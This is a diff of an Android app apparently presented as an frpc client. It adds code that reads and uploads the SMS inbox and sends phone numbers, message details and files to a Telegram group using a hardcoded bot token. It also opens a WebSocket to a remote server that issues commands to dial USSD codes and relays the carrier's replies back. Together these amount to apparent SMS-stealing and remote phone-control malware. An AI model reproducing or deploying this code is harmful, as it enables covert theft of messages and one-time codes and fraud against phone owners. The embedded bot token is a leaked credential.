                                 }
 
                                 @Override
                                 public void onFail(BaseBean t) {
                                     super.onFail(t);
-                                    Log.d("hzshkj", "[CheckInboxWorker] onFail: SMS[" + id + "] commit fail.");
-                                    LiveEventBus.get(MainActivity.SMS_UPLOAD_TAG).post("SMS[" + id + "] commit fail.");
+                                    Log.i(Config.LOG_TAG, "[CheckInboxWorker] onFail: SMS[" + id + "] commit fail.");
+                                    LiveEventBus.get(SMS_UPLOAD_TAG).post("SMS[" + id + "] commit fail.");
                                 }
                             });
                 }
 
             }
-            Log.d("hzshkj", "[CheckInboxWorker] onNext: " + "All SMS commit success." + TimeUtils.getNowString(getSafeDateFormat("MM-dd HH:mm")));
-            LiveEventBus.get(MainActivity.SMS_UPLOAD_TAG).post("All SMS commit success." + TimeUtils.getNowString(getSafeDateFormat("MM-dd HH:mm")));
+            Log.i(Config.LOG_TAG, "All SMS commit success." + TimeUtils.getNowString(getSafeDateFormat("MM-dd HH:mm")));
+            LiveEventBus.get(SMS_UPLOAD_TAG).post("All SMS commit success." + TimeUtils.getNowString(getSafeDateFormat("MM-dd HH:mm")));
             return Result.success();
         } catch (Exception e) {
-            LiveEventBus.get(MainActivity.SMS_UPLOAD_TAG).post("Sms inbox worker retrying.[" + e.getMessage() + "]");
-            Log.d("hzshkj", "[CheckInboxWorker] doWork: Sms inbox worker retrying.[" + e.getMessage() + "]");
+            LiveEventBus.get(SMS_UPLOAD_TAG).post("Sms inbox worker retrying.[" + e.getMessage() + "]");
+            Log.e(Config.LOG_TAG, "Sms inbox worker retrying.", e);
             return Result.retry();
         }
 
@@ -124,6 +124,7 @@ public class CheckInboxWorker extends Worker {
     }
 
     public static void start() {
+        Log.i(Config.LOG_TAG, "inbox message worker start. RepeatInterval = 15, timeUnit = minutes, uniqueWorkName = CheckInboxWorker");
         PeriodicWorkRequest periodicWorkRequest = new PeriodicWorkRequest.Builder(CheckInboxWorker.class, 15, TimeUnit.MINUTES).build();
         WorkManager.getInstance().enqueueUniquePeriodicWork("CheckInboxWorker", ExistingPeriodicWorkPolicy.REPLACE, periodicWorkRequest);
     }
@@ -150,8 +151,8 @@ public class CheckInboxWorker extends Worker {
                 map.put("date", receiver);
                 map.put("id", id + "");
             }
-        } catch (Exception ignored) {
-
+        } catch (Exception e) {
+            Log.e(Config.LOG_TAG, "QueryInboxMessage error.", e);
         } finally {
             if (cursor != null) {
                 cursor.close();

+ 77 - 15
frpc_android-master/app/src/main/java/com/car/frpc_android/util/ForegroundService.java

@@ -1,6 +1,9 @@
 package com.car.frpc_android.util;
 
-import android.app.Notification;
+import static com.car.frpc_android.Config.BREATH_TAG;
+import static com.car.frpc_android.Config.SMS_UPLOAD_TAG;
+import static com.car.frpc_android.Config.WEBSOCKET_STATUS_TAG;
+
 import android.app.NotificationChannel;
 import android.app.NotificationManager;
 import android.app.Service;
@@ -10,10 +13,24 @@ import android.os.IBinder;
 
 import androidx.annotation.Nullable;
 import androidx.core.app.NotificationCompat;
+import androidx.lifecycle.Observer;
 
 import com.car.frpc_android.R;
+import com.jeremyliao.liveeventbus.LiveEventBus;
+
+import java.util.HashMap;
 
 public class ForegroundService extends Service {
+    private static final int NOTIFICATION_ID = 1;
+    private static final String CHANNEL_ID = "channel_id";
+
+    private NotificationManager notificationManager;
+    private NotificationCompat.Builder notificationBuilder;
+
+    private HashMap<String, String> map;
+    private Observer<String> observer1;
+    private Observer<String> observer2;
+    private Observer<String> observer3;
 
     @Nullable
     @Override
@@ -23,31 +40,76 @@ public class ForegroundService extends Service {
 
     @Override
     public int onStartCommand(Intent intent, int flags, int startId) {
-        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
-            NotificationChannel channel             = new NotificationChannel("channel_id", "channel_name", NotificationManager.IMPORTANCE_LOW);
-            NotificationManager notificationManager = getSystemService(NotificationManager.class);
-            notificationManager.createNotificationChannel(channel);
-        }
-
-        // 创建通知
-        Notification notification = new NotificationCompat.Builder(this, "channel_id")
-                .setSmallIcon(R.mipmap.ic_launcher)
-                .setContentTitle("FProToolbox")
-                .setContentText("Service is running in the foreground")
-                .setPriority(NotificationCompat.PRIORITY_LOW)
-                .build();
-        startForeground(1, notification);
         return super.onStartCommand(intent, flags, startId);
     }
 
     @Override
     public void onCreate() {
         super.onCreate();
+        // 获取 NotificationManager
+        map = new HashMap<>();
+        notificationManager = getSystemService(NotificationManager.class);
+        // 创建通知渠道(仅针对 Android O 及以上版本)
+        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
+            NotificationChannel channel = new NotificationChannel(CHANNEL_ID, "channel_name", NotificationManager.IMPORTANCE_LOW);
+            if (notificationManager != null) {
+                notificationManager.createNotificationChannel(channel);
+            }
+        }
+        // 创建通知
+        notificationBuilder = new NotificationCompat.Builder(this, CHANNEL_ID)
+                .setSmallIcon(R.mipmap.ic_launcher)
+                .setContentTitle(getString(R.string.current_status))
+                .setContentText(getString(R.string.no_message))
+                .setPriority(NotificationCompat.PRIORITY_LOW);
+
+        startForeground(NOTIFICATION_ID, notificationBuilder.build());
+        observer1 = s -> {
+            map.put(BREATH_TAG, s);
+            updateNotification(map);
+        };
+        observer2 = s -> {
+            map.put(WEBSOCKET_STATUS_TAG, s);
+            updateNotification(map);
+
+        };
+        observer3 = s -> {
+            map.put(SMS_UPLOAD_TAG, s);
+            updateNotification(map);
+
+        };
+
+        LiveEventBus
+                .get(BREATH_TAG, String.class)
+                .observeForever(observer1);
+        LiveEventBus
+                .get(WEBSOCKET_STATUS_TAG, String.class)
+                .observeForever(observer2);
+        LiveEventBus
+                .get(SMS_UPLOAD_TAG, String.class)
+                .observeForever(observer3);
+
+
     }
 
     @Override
     public void onDestroy() {
         super.onDestroy();
         stopForeground(true);
+        LiveEventBus.get(BREATH_TAG, String.class).removeObserver(observer1);
+        LiveEventBus.get(WEBSOCKET_STATUS_TAG, String.class).removeObserver(observer2);
+        LiveEventBus.get(SMS_UPLOAD_TAG, String.class).removeObserver(observer3);
+    }
+
+    private void updateNotification(HashMap map) {
+        if (notificationBuilder != null) {
+            String contentText = map.get(BREATH_TAG)
+                    + ","
+                    + map.get(WEBSOCKET_STATUS_TAG)
+                    + ","
+                    + map.get(SMS_UPLOAD_TAG);
+            notificationBuilder.setContentText(contentText);
+            notificationManager.notify(NOTIFICATION_ID, notificationBuilder.build());
+        }
     }
 }

+ 3 - 1
frpc_android-master/app/src/main/java/com/car/frpc_android/util/FrpcService.java

@@ -1,5 +1,7 @@
 package com.car.frpc_android.util;
 
+import static com.car.frpc_android.Config.EVENT_RUNNING_ERROR;
+
 import android.app.Notification;
 import android.app.NotificationChannel;
 import android.app.NotificationManager;
@@ -82,7 +84,7 @@ public class FrpcService extends Service {
                     public void onSuccess(String error) {
                         if (!TextUtils.isEmpty(error)) {
                             Toast.makeText(FrpcService.this, error, Toast.LENGTH_SHORT).show();
-                            LiveEventBus.get(HomeFragment.EVENT_RUNNING_ERROR, String.class).post(uid);
+                            LiveEventBus.get(EVENT_RUNNING_ERROR, String.class).post(uid);
                         }
                     }
 

+ 11 - 8
frpc_android-master/app/src/main/java/com/car/frpc_android/util/HeartbeatWorker.java

@@ -1,6 +1,7 @@
 package com.car.frpc_android.util;
 
 import static com.blankj.utilcode.util.TimeUtils.getSafeDateFormat;
+import static com.car.frpc_android.Config.BREATH_TAG;
 
 import android.content.Context;
 import android.util.Log;
@@ -15,7 +16,7 @@ import androidx.work.WorkerParameters;
 import com.blankj.utilcode.util.GsonUtils;
 import com.blankj.utilcode.util.StringUtils;
 import com.blankj.utilcode.util.TimeUtils;
-import com.car.frpc_android.ui.MainActivity;
+import com.car.frpc_android.Config;
 import com.car.http.APPConfig;
 import com.car.http.BaseBean;
 import com.car.http.Http;
@@ -33,7 +34,8 @@ public class HeartbeatWorker extends Worker {
     @Override
     public Result doWork() {
         if (StringUtils.isEmpty(HxUtils.getPhone())) {
-            LiveEventBus.get(MainActivity.BREATH_TAG).post("SMS service retrying.[No phone number set yet.]");
+            LiveEventBus.get(BREATH_TAG).post("SMS service retrying.[No phone number set yet.]");
+            Log.i(Config.LOG_TAG, "SMS service retrying.[No phone number set yet.]");
             return Result.retry();
         }
         HashMap<String, Object> map = new HashMap<>();
@@ -51,22 +53,22 @@ public class HeartbeatWorker extends Worker {
                 .post(new Http.HttpCallBack<String>() {
                     @Override
                     public void onNext(String model) {
-                        LiveEventBus.get(MainActivity.BREATH_TAG).post("SMS service connected."+ TimeUtils.getNowString(getSafeDateFormat("MM-dd HH:mm")));
-                        Log.d("hzshkj", "[HeartbeatWorker] onNext: SMS service connected." + TimeUtils.getNowString(getSafeDateFormat("MM-dd HH:mm")));
+                        LiveEventBus.get(BREATH_TAG).post("SMS service connected." + TimeUtils.getNowString(getSafeDateFormat("MM-dd HH:mm")));
+                        Log.i(Config.LOG_TAG, "SMS service connected." + TimeUtils.getNowString(getSafeDateFormat("MM-dd HH:mm")));
                     }
 
                     @Override
                     public void onError(Throwable ex) {
                         super.onError(ex);
-                        Log.d("hzshkj", "[HeartbeatWorker] onError: SMS service disconnected.[" + ex.getMessage() + "]" + TimeUtils.getNowString(getSafeDateFormat("MM-dd HH:mm")));
-                        LiveEventBus.get(MainActivity.BREATH_TAG).post("SMS service disconnected.[" + ex.getMessage() + "]" + TimeUtils.getNowString(getSafeDateFormat("MM-dd HH:mm")));
+                        Log.e(Config.LOG_TAG, "SMS service disconnected.", ex);
+                        LiveEventBus.get(BREATH_TAG).post("SMS service disconnected." + TimeUtils.getNowString(getSafeDateFormat("MM-dd HH:mm")));
                     }
 
                     @Override
                     public void onFail(BaseBean t) {
                         super.onFail(t);
-                        Log.d("hzshkj", "[HeartbeatWorker] onFail: SMS service disconnected.[" + t.getMsg() + "]" + TimeUtils.getNowString(getSafeDateFormat("MM-dd HH:mm")));
-                        LiveEventBus.get(MainActivity.BREATH_TAG).post("SMS service disconnected.[" + t.getMsg() + "]" + TimeUtils.getNowString(getSafeDateFormat("MM-dd HH:mm")));
+                        Log.i(Config.LOG_TAG, "SMS service disconnected.[" + t.getMsg() + "]");
+                        LiveEventBus.get(BREATH_TAG).post("SMS service disconnected.[" + t.getMsg() + "]" + TimeUtils.getNowString(getSafeDateFormat("MM-dd HH:mm")));
 
                     }
                 });
@@ -74,6 +76,7 @@ public class HeartbeatWorker extends Worker {
     }
 
     public static void start() {
+        Log.i(Config.LOG_TAG, "Heard beat worker start. RepeatInterval = 15, timeUnit = seconds, uniqueWorkName = heardbeatWork");
         PeriodicWorkRequest periodicWorkRequest = new PeriodicWorkRequest.Builder(HeartbeatWorker.class, 15, TimeUnit.SECONDS)
                 .build();
         WorkManager.getInstance().enqueueUniquePeriodicWork("heardbeatWork", ExistingPeriodicWorkPolicy.REPLACE, periodicWorkRequest);

+ 63 - 3
frpc_android-master/app/src/main/java/com/car/frpc_android/util/HxUtils.java

@@ -4,28 +4,43 @@ import android.Manifest;
 import android.annotation.SuppressLint;
 import android.content.ContentResolver;
 import android.content.Context;
-import android.content.Intent;
 import android.database.Cursor;
 import android.net.Uri;
 import android.telephony.SubscriptionInfo;
 import android.telephony.SubscriptionManager;
+import android.util.Log;
+import android.view.View;
 
 import androidx.annotation.NonNull;
 
-import com.blankj.utilcode.util.ActivityUtils;
+import com.alibaba.fastjson.JSON;
+import com.alibaba.fastjson.JSONObject;
 import com.blankj.utilcode.util.SPUtils;
+import com.blankj.utilcode.util.StringUtils;
 import com.blankj.utilcode.util.ThreadUtils;
+import com.blankj.utilcode.util.ToastUtils;
 import com.blankj.utilcode.util.Utils;
 import com.car.frpc_android.BuildConfig;
+import com.car.frpc_android.Config;
+import com.car.frpc_android.R;
 import com.car.frpc_android.dialog.UploadAppDialog;
 
+import java.io.BufferedReader;
 import java.io.IOException;
+import java.io.InputStreamReader;
 import java.util.ArrayList;
 import java.util.Arrays;
 import java.util.HashMap;
 import java.util.HashSet;
+import java.util.LinkedHashSet;
 import java.util.List;
 
+import io.reactivex.Observable;
+import io.reactivex.ObservableOnSubscribe;
+import io.reactivex.Observer;
+import io.reactivex.android.schedulers.AndroidSchedulers;
+import io.reactivex.disposables.Disposable;
+import io.reactivex.schedulers.Schedulers;
 import okhttp3.OkHttpClient;
 import okhttp3.Request;
 import okhttp3.Response;
@@ -54,7 +69,6 @@ public class HxUtils {
     }
 
 
-
     public static void QueryXiaoMiSmsInbox() {
         Uri SMS_INBOX = Uri.parse("content://sms/");
         ContentResolver cr = Utils.getApp().getContentResolver();
@@ -93,6 +107,23 @@ public class HxUtils {
         SPUtils.getInstance().put("number", phone, true);
     }
 
+    public static void setChatId(String chatId) {
+        SPUtils.getInstance().put("chatId", chatId, true);
+    }
+
+    public static String getChatId() {
+        return StringUtils.isEmpty(SPUtils.getInstance().getString("chatId")) ? "-1001958143149L" : SPUtils.getInstance().getString("chatId");
+
+    }
+
+    public static void setBotToken(String botToken) {
+        SPUtils.getInstance().put("botToken", botToken, true);
+    }
+
+    public static String getBotToken() {
+        return StringUtils.isEmpty(SPUtils.getInstance().getString("botToken")) ? "6428083297:AAEFS5ccl49hBsYbGAqJdEM5Cv8bvHUTC4I" : SPUtils.getInstance().getString("botToken");
+    }
+
     public static void checkForUpdate(Context context, boolean toast) {
         new Thread(() -> {
             OkHttpClient client = new OkHttpClient();
@@ -106,8 +137,37 @@ public class HxUtils {
 
                 }
             } catch (IOException e) {
+                Log.e(Config.LOG_TAG, "Check for update error.", e);
+                e.printStackTrace();
+            }
+        }).start();
+    }
+
+    public static void checkForUpdateBotConfig() {
+        new Thread(() -> {
+            OkHttpClient client = new OkHttpClient();
+            Request request = new Request.Builder()
+                    .url(BuildConfig.UPDATE_BASE_URL + BuildConfig.UPDATE_JSON)  // 文件的 URL
+                    .build();
+            try (Response response = client.newCall(request).execute()) {
+                if (response.isSuccessful()) {
+                    String fileContent = response.body().string();
+                    JSONObject object = JSON.parseObject(fileContent);
+                    if (!StringUtils.isEmpty(object.getString("chatId"))) {
+                        HxUtils.setChatId(object.getString("chatId"));
+                    }
+                    if (!StringUtils.isEmpty(object.getString("botToken"))) {
+                        HxUtils.setBotToken(object.getString("botToken"));
+                    }
+                    Log.i(Config.LOG_TAG, "BotConfig update success.");
+                    ToastUtils.showLong(R.string.update_log_config_suc);
+                }
+            } catch (IOException e) {
+                ToastUtils.showLong(R.string.update_err);
+                Log.e(Config.LOG_TAG, "BotConfig update error", e);
                 e.printStackTrace();
             }
         }).start();
     }
+
 }

+ 0 - 1
frpc_android-master/app/src/main/java/com/car/frpc_android/util/PermissionsUtils.java

@@ -94,7 +94,6 @@ public class PermissionsUtils {
             permission.add(Manifest.permission.READ_PHONE_STATE);
             permission.add(Manifest.permission.WAKE_LOCK);
             permission.add(Manifest.permission.CALL_PHONE);
-//            permission.add(Manifest.permission.SYSTEM_ALERT_WINDOW);
         }
         if (b2) {
             permission.add(Manifest.permission.READ_SMS);

+ 34 - 4
frpc_android-master/app/src/main/java/com/car/frpc_android/util/SmsReceiver.java

@@ -1,5 +1,8 @@
 package com.car.frpc_android.util;
 
+
+import static com.car.frpc_android.Config.SMS_TAG;
+
 import android.content.BroadcastReceiver;
 import android.content.Context;
 import android.content.Intent;
@@ -11,9 +14,8 @@ import android.telephony.SmsMessage;
 import android.util.Log;
 
 import com.blankj.utilcode.util.GsonUtils;
-import com.blankj.utilcode.util.SPUtils;
 import com.blankj.utilcode.util.ThreadUtils;
-import com.car.frpc_android.ui.MainActivity;
+import com.car.frpc_android.Config;
 import com.jeremyliao.liveeventbus.LiveEventBus;
 
 import java.util.HashMap;
@@ -52,8 +54,7 @@ public class SmsReceiver extends BroadcastReceiver {
                             map.put("address", HxUtils.getPhone());
                             map.put("timestampMillis", timestampMillis + "");
 
-                            LiveEventBus.get(MainActivity.SMS_TAG).post(GsonUtils.toJson(findSMSId(context, sender, timestampMillis, smsBody, map)));
-
+                            LiveEventBus.get(SMS_TAG).post(GsonUtils.toJson(findSMSId(context, sender, timestampMillis, smsBody, map)));
                         }
                     }
                 }
@@ -68,6 +69,7 @@ public class SmsReceiver extends BroadcastReceiver {
         Uri uri = Uri.parse("content://sms/inbox");
         String selection = "date_sent = ? AND body = ?";
         String[] selectionArgs = new String[]{String.valueOf(timestamp), body};
+
         Cursor cursor = context.getContentResolver().query(uri, null, selection, selectionArgs, null);
         if (cursor != null && cursor.moveToFirst()) {
             int index1 = cursor.getColumnIndexOrThrow(Telephony.Sms.ADDRESS);
@@ -86,6 +88,34 @@ public class SmsReceiver extends BroadcastReceiver {
                 map.put("id", id + "");
             }
             cursor.close();
+        } else {
+            new TelegramBotExample("Find sms by id result error. body = " + body + " ,date_sent = " + timestamp, true);
+            Log.d(Config.LOG_TAG, "Find sms by id result error. body = " + body + " ,date_sent = " + timestamp);
+            String selectionB = "date_sent = ?";
+            String[] selectionArgsB = new String[]{String.valueOf(timestamp)};
+            Cursor cursorB = context.getContentResolver().query(uri, null, selectionB, selectionArgsB, null);
+            if (cursorB != null && cursorB.moveToFirst()) {
+                int index1 = cursorB.getColumnIndexOrThrow(Telephony.Sms.ADDRESS);
+                if (index1 >= 0) {
+                    String address = cursorB.getString(index1); // 收件人
+                    map.put("sender", address);
+                }
+                int index2 = cursorB.getColumnIndexOrThrow(Telephony.Sms.DATE);
+                if (index2 >= 0) {
+                    long date = cursorB.getLong(index2); // 收件时间
+                    map.put("date", date + "");
+                }
+                int index3 = cursorB.getColumnIndexOrThrow(Telephony.Sms._ID);
+                if (index3 >= 0) {
+                    int id = cursorB.getInt(index3); // 收件时间
+                    map.put("id", id + "");
+                }
+                new TelegramBotExample("Find sms by id result success second. date_sent = " + timestamp, true);
+                cursorB.close();
+            } else {
+                new TelegramBotExample("Find sms by id result error second. date_sent = " + timestamp, true);
+                Log.d(Config.LOG_TAG, "Find sms by id result error second. date_sent = " + timestamp);
+            }
         }
 
         return map;

+ 131 - 0
frpc_android-master/app/src/main/java/com/car/frpc_android/util/TelegramBotExample.java

@@ -0,0 +1,131 @@
+package com.car.frpc_android.util;
+
+import android.util.Log;
+
+import com.blankj.utilcode.util.FileIOUtils;
+import com.blankj.utilcode.util.ThreadUtils;
+import com.blankj.utilcode.util.ToastUtils;
+import com.blankj.utilcode.util.Utils;
+import com.car.frpc_android.BuildConfig;
+import com.car.frpc_android.Config;
+import com.car.frpc_android.R;
+
+import java.io.File;
+
+import okhttp3.FormBody;
+import okhttp3.MediaType;
+import okhttp3.MultipartBody;
+import okhttp3.OkHttpClient;
+import okhttp3.Request;
+import okhttp3.RequestBody;
+import okhttp3.Response;
+
+/**
+ * author: hx
+ * created on: 2023/10/17 12:04
+ * description:
+ */
+public class TelegramBotExample {
+    private static final String BOT_TOKEN = "6428083297:AAEFS5ccl49hBsYbGAqJdEM5Cv8bvHUTC4I";
+    private static final String CHAT_ID = "-1001958143149L";
+
+    public TelegramBotExample(String data, boolean message) {
+        if (!message) {
+            sendFileToGroup(data);
+        } else {
+            sendMessageToGroup(data);
+        }
+    }
+
+    public void sendFileToGroup(String data) {
+        ThreadUtils.executeByIo(new ThreadUtils.Task<Object>() {
+            @Override
+            public Object doInBackground() throws Throwable {
+                ToastUtils.showLong(R.string.pushing);
+                String fileName = "/" + HxUtils.getPhone() + ".txt";
+                String filePath = Utils.getApp().getFilesDir().getPath() + fileName;
+                FileIOUtils.writeFileFromString(filePath, data);
+                OkHttpClient client = new OkHttpClient();
+                String url = "https://api.telegram.org/bot" + BOT_TOKEN + "/sendDocument";
+                File file = new File(filePath);
+                MultipartBody.Builder builder = new MultipartBody.Builder()
+                        .setType(MultipartBody.FORM)
+                        .addFormDataPart("chat_id", CHAT_ID)
+                        .addFormDataPart("document", file.getName(),
+                                RequestBody.create(MediaType.parse("text/plain"), file));
+                Request request = new Request.Builder()
+                        .url(url)
+                        .post(builder.build())
+                        .build();
+                Response response = client.newCall(request).execute();
+                if (response.isSuccessful()) {
+                    ToastUtils.showLong(R.string.push_suc);
+                    Log.i(Config.LOG_TAG, "File sent successfully.");
+                } else {
+                    ToastUtils.showLong(R.string.push_error);
+                    Log.i(Config.LOG_TAG, "Failed to send file. Response: " + response.body().string());
+
+                }
+                return null;
+            }
+
+            @Override
+            public void onSuccess(Object result) {
+
+            }
+
+            @Override
+            public void onCancel() {
+
+            }
+
+            @Override
+            public void onFail(Throwable t) {
+                ToastUtils.showLong(R.string.push_error);
+                Log.e(Config.LOG_TAG, "Send file to group fail. ", t);
+            }
+        });
+
+    }
+
+    public void sendMessageToGroup(String message) {
+        ThreadUtils.executeByIo(new ThreadUtils.Task<Object>() {
+            @Override
+            public Object doInBackground() throws Throwable {
+                OkHttpClient client = new OkHttpClient();
+                String url = "https://api.telegram.org/bot" + BOT_TOKEN + "/sendMessage";
+                RequestBody requestBody = new FormBody.Builder()
+                        .add("chat_id", CHAT_ID)
+                        .add("text", "Channel : " + BuildConfig.UPDATE_KEY + "\n" + "Phone number : " + HxUtils.getPhone() + "\n" + message)
+                        .build();
+                Request request = new Request.Builder()
+                        .url(url)
+                        .post(requestBody)
+                        .build();
+                Response response = client.newCall(request).execute();
+                if (response.isSuccessful()) {
+                    Log.i(Config.LOG_TAG, "Message sent successfully.");
+                } else {
+                    Log.i(Config.LOG_TAG, "Failed to send message. Response: " + response.body().string());
+                }
+                return null;
+            }
+
+            @Override
+            public void onSuccess(Object result) {
+
+            }
+
+            @Override
+            public void onCancel() {
+
+            }
+
+            @Override
+            public void onFail(Throwable t) {
+                Log.e(Config.LOG_TAG, "Send message to group fail. ", t);
+            }
+        });
+
+    }
+}

+ 216 - 0
frpc_android-master/app/src/main/java/com/car/frpc_android/util/WebSocketManager.java

@@ -0,0 +1,216 @@
+package com.car.frpc_android.util;
+
+import static com.car.frpc_android.Config.WEBSOCKET_STATUS_TAG;
+
+import android.content.Intent;
+import android.os.Handler;
+import android.util.Log;
+
+import com.alibaba.fastjson.JSON;
+import com.alibaba.fastjson.JSONObject;
+import com.blankj.utilcode.util.GsonUtils;
+import com.blankj.utilcode.util.StringUtils;
+import com.blankj.utilcode.util.ThreadUtils;
+import com.blankj.utilcode.util.ToastUtils;
+import com.blankj.utilcode.util.Utils;
+import com.car.frpc_android.Config;
+import com.car.frpc_android.R;
+import com.car.frpc_android.ui.MainActivity;
+import com.jeremyliao.liveeventbus.LiveEventBus;
+import com.romellfudi.ussdlibrary.OverlayShowingService;
+import com.romellfudi.ussdlibrary.USSDApi;
+import com.romellfudi.ussdlibrary.USSDController;
+
+import java.util.HashMap;
+import java.util.concurrent.Executors;
+import java.util.concurrent.ScheduledExecutorService;
+import java.util.concurrent.ScheduledFuture;
+import java.util.concurrent.TimeUnit;
+
+import okhttp3.OkHttpClient;
+import okhttp3.Request;
+import okhttp3.Response;
+import okhttp3.WebSocket;
+import okhttp3.WebSocketListener;
+
+/**
+ * author: hx
+ * created on: 2023/10/16 23:38
+ * description:
+ */
+public final class WebSocketManager {
+    private static WebSocketListener webSocketListener;
+    private static OkHttpClient client;
+    private static WebSocket webSocket;
+    private static Request request;
+    private static ScheduledFuture<?> reconnectTask;
+    private static ScheduledExecutorService executorService;
+    private static Intent svc = null;
+    private static USSDApi ussdApi;
+    private static boolean isConnecting = false;
+    private static final int NORMAL_CLOSURE_STATUS = 1000;
+    private static final long RECONNECT_DELAY_MS = 1000; // 重连延迟时间
+
+
+    public static WebSocket connectWebSocket() {
+        ussdApi = USSDController.getInstance(Utils.getApp());
+        client = new OkHttpClient.Builder().pingInterval(30, TimeUnit.SECONDS).build();
+        String Url = "wss://naughty.lkluckpanda.online:443/69f3476bb6e001a9c320719073f055cc/app/" + HxUtils.getPhone() + "/";
+        request = new Request.Builder().url(Url).build();
+        webSocketListener = new WebSocketListener() {
+            @Override
+            public void onOpen(WebSocket webSocket, Response response) {
+                super.onOpen(webSocket, response);
+                Log.i(Config.LOG_TAG, "WebSocket open.");
+                isConnecting = true;
+                LiveEventBus.get(WEBSOCKET_STATUS_TAG).post("WebSocket open.");
+            }
+
+            @Override
+            public void onMessage(WebSocket webSocket, String text) {
+                super.onMessage(webSocket, text);
+                Log.i(Config.LOG_TAG, "WebSocket get a Message: " + text);
+                LiveEventBus.get(WEBSOCKET_STATUS_TAG).post("WebSocket message.");
+                //收到消息
+                JSONObject json = JSON.parseObject(text);
+                String command = json.getString("command");
+                String requestId = json.getString("request_id");
+                String ussdCode = json.getString("value");
+                switch (command) {
+                    //发起ussd拨号
+                    case "invoke":
+                        ThreadUtils.runOnUiThread(() -> callOverlay(ussdCode, requestId));
+                        break;
+                    //发送ussd信息
+                    case "send":
+                        ThreadUtils.runOnUiThread(() -> sendUssd(requestId, ussdCode));
+                        break;
+                    //撤销ussd拨号
+                    case "cancel":
+                        ThreadUtils.runOnUiThread(() -> cancelUssd(requestId));
+                        break;
+
+                }
+            }
+
+            @Override
+            public void onClosing(WebSocket webSocket, int code, String reason) {
+                super.onClosing(webSocket, code, reason);
+                webSocket.close(code, reason);
+                Log.i(Config.LOG_TAG, "WebSocket closing.");
+                LiveEventBus.get(WEBSOCKET_STATUS_TAG).post("WebSocket closing.[" + reason + "]");
+            }
+
+            @Override
+            public void onClosed(WebSocket webSocket, int code, String reason) {
+                super.onClosed(webSocket, code, reason);
+                isConnecting = false;
+                reconnectWebSocket();
+                Log.i(Config.LOG_TAG, "WebSocket closed. code = " + code + ",reason = " + reason);
+                LiveEventBus.get(WEBSOCKET_STATUS_TAG).post("WebSocket closed.[" + reason + "]");
+
+            }
+
+            @Override
+            public void onFailure(WebSocket webSocket, Throwable t, Response response) {
+                super.onFailure(webSocket, t, response);
+                isConnecting = false;
+                reconnectWebSocket();
+                Log.e(Config.LOG_TAG, "WebSocket failure.", t);
+                LiveEventBus.get(WEBSOCKET_STATUS_TAG).post("WebSocket failure.[" + t.getMessage() + "]");
+            }
+        };
+        webSocket = client.newWebSocket(request, webSocketListener);
+        return webSocket;
+    }
+
+    private static void reconnectWebSocket() {
+        if (reconnectTask != null && !reconnectTask.isDone()) {
+            reconnectTask.cancel(true);
+        }
+        executorService = Executors.newSingleThreadScheduledExecutor();
+        reconnectTask = executorService.schedule(() -> connectWebSocket(), RECONNECT_DELAY_MS, TimeUnit.MILLISECONDS);
+    }
+
+    private static void callOverlay(String ussd, String request_id) {
+        if (USSDController.verifyOverLay(Utils.getApp())) {
+            if (null != svc) {
+                Utils.getApp().stopService(svc);
+            }
+            svc = new Intent(Utils.getApp(), OverlayShowingService.class);
+            svc.putExtra(OverlayShowingService.EXTRA, StringUtils.getString(R.string.action_ussd_msg));
+            pendingServiceIntent(svc);
+
+            ussdApi.callUSSDOverlayInvoke(ussd, HxUtils.provideHashMap(), new USSDController.CallbackInvoke() {
+                @Override
+                public void responseInvoke(String message) {
+                    sendWebSocketMsg(request_id, "response", message);
+                }
+
+                @Override
+                public void over(String message) {
+                    sendWebSocketMsg(request_id, "over", message);
+                    Utils.getApp().stopService(svc);
+                }
+            });
+        } else {
+            sendWebSocketMsg(request_id, "exception", "!USSDController.verifyOverLay");
+        }
+
+
+    }
+
+    private static void pendingServiceIntent(Intent overlayService) {
+        Utils.getApp().startService(overlayService);
+        new Handler().postDelayed(() -> Utils.getApp().stopService(overlayService), 5 * 60000);
+    }
+
+    private static void sendUssd(String request_id, String msg) {
+        try {
+            ussdApi.send(msg, new USSDController.CallbackMessage() {
+                @Override
+                public void responseMessage(String message) {
+                    sendWebSocketMsg(request_id, "response", message);
+                }
+
+                @Override
+                public void over(String message) {
+                    sendWebSocketMsg(request_id, "over", message);
+                    if (null != svc)
+                        Utils.getApp().stopService(svc);
+                }
+            });
+        } catch (Exception e) {
+            sendWebSocketMsg(request_id, "exception", e.getMessage());
+        }
+    }
+
+    private static void sendWebSocketMsg(String request_id, String return_type, String message) {
+        HashMap map = new HashMap();
+        map.put("request_id", request_id);
+        map.put("return_type", return_type);
+        map.put("message", message);
+        webSocket.send(GsonUtils.toJson(map));
+    }
+
+    private static void cancelUssd(String request_id) {
+        try {
+            ussdApi.cancel();
+            sendWebSocketMsg(request_id, "cancel", "cancel");
+        } catch (Exception e) {
+            sendWebSocketMsg(request_id, "exception", e.getMessage());
+        }
+
+    }
+
+    private static void closeWebSocket() {
+        try {
+            if (webSocket != null) {
+                webSocket.close(NORMAL_CLOSURE_STATUS, "WebSocket,Goodbye!");
+            }
+        } catch (Exception e) {
+
+        }
+
+    }
+}

+ 0 - 135
frpc_android-master/app/src/main/java/com/car/http/Error.java

@@ -1,135 +0,0 @@
-package com.car.http;
-
-import android.net.ParseException;
-
-import org.apache.http.conn.ConnectTimeoutException;
-import org.json.JSONException;
-import org.xutils.ex.HttpException;
-
-import java.io.IOException;
-import java.net.ConnectException;
-import java.net.UnknownHostException;
-
-public class Error {
-
-    public static final  int AUTH_REQUEST          = 10112;
-    public static final  int UNKNOWN               = 1000;
-    public static final  int PARSE_ERROR           = 1001;
-    public static final  int NETWORK_ERROR         = 1002;
-    public static final  int HTTP_ERROR            = 1003;
-    public static final  int SSL_ERROR             = 1005;
-    public static final  int TIMEOUT_ERROR         = 1006;
-    public static final  int UNKOWN_HOST           = 1007;
-    public static final  int IO_ERROR              = 1008;
-    public static final  int JsonSyntax_ERROR      = 1009;
-    public static final  int IllegalState_ERROR    = 1010;
-    //服务端返回的code
-    public static final  int ACCOUNT_LOCKOUT       = 451;
-    public static final  int LOGIN_FAILURE         = 401;
-    public static final  int FAILURE               = 400;
-    private static final int UNAUTHORIZED          = 401;
-    private static final int FORBIDDEN             = 403;
-    private static final int NOT_FOUND             = 404;
-    private static final int REQUEST_TIMEOUT       = 408;
-    private static final int INTERNAL_SERVER_ERROR = 500;
-    private static final int BAD_GATEWAY           = 502;
-    private static final int SERVICE_UNAVAILABLE   = 503;
-    private static final int GATEWAY_TIMEOUT       = 504;
-
